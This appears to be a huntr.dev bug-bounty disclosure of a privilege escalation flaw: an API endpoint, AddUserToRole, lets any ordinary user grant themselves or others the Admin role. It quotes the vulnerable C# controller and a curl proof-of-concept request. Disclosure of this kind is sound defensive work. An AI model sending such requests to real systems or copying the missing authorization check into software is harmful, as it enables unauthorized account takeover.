Lucene search

K
huntr0x41lyB6F38F4C-9401-4696-9E51-967C23CEA1EE
HistorySep 20, 2022 - 6:53 p.m.

Normal user can set himself or any other user to admin role

2022-09-2018:53:21
0x41ly
www.huntr.dev
6

Description

Improper access to an API endpointAddUserToRole can allow a regular user to escalate his privileges to be an admin

Infected code

[Authorize(Roles = Roles.User)]
    [HttpPost]
    public async Task<IActionResult> AddUserToRole([FromQuery] string username, string role)
    {
        var results = await _auth.AddUserToRoleAsync(username, role);
        if (!results.IsSuccess)
            return BadRequest(results);
        return Ok(results);
    }

As seen it just allows a user role to access this endpoint and no proper checks for what role can be added So it can be an admin role

Proof of Concept

curl -X 'POST' \
  'http://<SERVER>/Auth/AddUserToRole?username=<AnyUser>&role=Admin' \
  -H 'accept: */*' \
  -H 'Authorization: <TOKEN>' \
  -d ''